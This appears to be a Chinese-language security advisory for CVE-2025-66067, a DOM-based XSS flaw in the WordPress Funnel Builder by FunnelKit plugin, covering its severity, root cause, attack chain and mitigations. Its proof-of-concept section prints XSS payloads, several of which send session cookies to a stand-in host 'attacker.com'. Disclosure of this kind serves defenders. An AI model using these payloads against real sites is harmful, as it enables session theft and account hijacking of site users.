CVE-2025-66067 WordPress FunnelKit插件DOM型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-66067

漏洞类型

DOM-Based XSS

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

WordPress Funnel Builder by FunnelKit

漏洞概述

CVE-2025-66067是WordPress插件Funnel Builder by FunnelKit中的一个中等严重性安全漏洞，CVSS评分6.5。该漏洞为DOM型跨站脚本攻击（DOM-Based XSS），存在于Web页面生成过程中对用户输入的不当中和处理。攻击者可以通过构造恶意脚本代码，利用该漏洞在受害者的浏览器中执行任意JavaScript代码，从而窃取会话令牌、劫持用户账户、修改页面内容或进行钓鱼攻击。由于该漏洞需要用户交互且需要低权限认证，攻击复杂度较高，但仍然对使用该插件的WordPress网站构成实质性威胁。所有版本小于等于3.13.1.2的Funnel Builder插件均受影响，网站管理员应及时更新到最新修复版本以消除安全风险。

技术细节

该漏洞源于Funnel Builder插件在处理用户输入时未正确对特殊字符进行HTML转义或编码处理。具体来说，插件在前端JavaScript代码中直接使用用户可控的数据（如URL参数、表单输入或数据库内容）来动态生成DOM元素，而没有进行充分的输入验证和输出编码。攻击者可以通过在URL参数中注入恶意JavaScript代码（如<script>标签或事件处理器属性），当受害者访问包含恶意链接的页面时，浏览器会将其解析为可执行脚本。由于是DOM型XSS，攻击载荷不会经过服务器的过滤，而是直接在客户端被JavaScript引擎解析执行。攻击者通常利用此漏洞窃取认证Cookie、伪造表单提交或重定向用户到恶意网站。该漏洞的技术根因在于插件缺乏对输入数据的上下文感知转义，未能正确区分数据内容和可执行代码。

攻击链分析

STEP 1

侦察阶段

攻击者识别目标网站使用的WordPress Funnel Builder插件版本，确认版本号小于等于3.13.1.2

STEP 2

载荷构造

攻击者构造包含恶意JavaScript代码的XSS payload，如<script>标签或事件处理器属性

STEP 3

社工传播

攻击者通过钓鱼邮件、社交媒体或其他渠道诱使目标用户点击含有恶意载荷的URL链接

STEP 4

漏洞触发

受害者的浏览器访问恶意URL后，插件的JavaScript代码将用户输入直接插入DOM而不进行转义

STEP 5

代码执行

浏览器将恶意脚本解析为可执行代码，在受害者会话上下文中执行任意JavaScript操作

STEP 6

数据窃取

攻击者通过脚本窃取用户会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-66067 PoC - DOM-Based XSS in Funnel Builder by FunnelKit -->
<!-- Original Payload: -->
<script>alert(document.domain)</script>

<!-- Example attack URL: -->
<!-- https://vulnerable-site.com/?funnel_param=<script>alert(document.cookie)</script> -->

<!-- More sophisticated payload for cookie stealing: -->
<script>
  fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie))
</script>

<!-- Event handler based XSS: -->
<img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)">

<!-- SVG-based payload: -->
<svg/onload=fetch('https://attacker.com/exfil?c='+btoa(document.cookie))>

<!-- Practical exploitation steps: -->
<!-- 1. Attacker crafts malicious URL with XSS payload in affected parameter -->
<!-- 2. Lures authenticated WordPress user to click the malicious link -->
<!-- 3. User's browser executes injected JavaScript -->
<!-- 4. Attacker's script steals session cookies or performs actions as the user -->

影响范围

Funnel Builder by FunnelKit <= 3.13.1.2

防御指南

临时缓解措施

如果无法立即更新插件，可采取以下临时缓解措施：1）使用Web应用防火墙（WAF）规则拦截包含XSS特征的请求；2）禁用或限制受影响的插件功能直到更新完成；3）要求管理员和用户不要点击来源不明的链接；4）实施严格的输入验证层；5）考虑暂时禁用该插件直到官方修复版本发布。